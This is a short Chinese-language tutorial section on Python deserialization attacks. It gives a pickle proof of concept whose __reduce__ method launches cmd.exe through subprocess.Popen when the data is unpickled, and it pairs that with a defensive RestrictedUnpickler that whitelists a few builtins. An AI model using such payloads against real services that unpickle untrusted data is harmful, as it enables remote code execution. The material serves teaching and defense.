5.2.2. 反序列化

5.2.2.1. pickle demo

Python Pickle在反序列化时会调用 __reduce__ ，可用自定义的 __reduce__ 函数来实现攻击。

import pickle
import pickletools
import subprocess

class A(object):
    a = 1
    b = 2
    def __reduce__(self):
        return (subprocess.Popen, (('cmd.exe',),))

data = pickle.dumps(A())
pickletools.dis(data)

对于这种攻击，可以用重载 find_class 来限定范围，参考

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

5.2.2.2. 其他序列化库

• PyYAML
• marshal
• shelve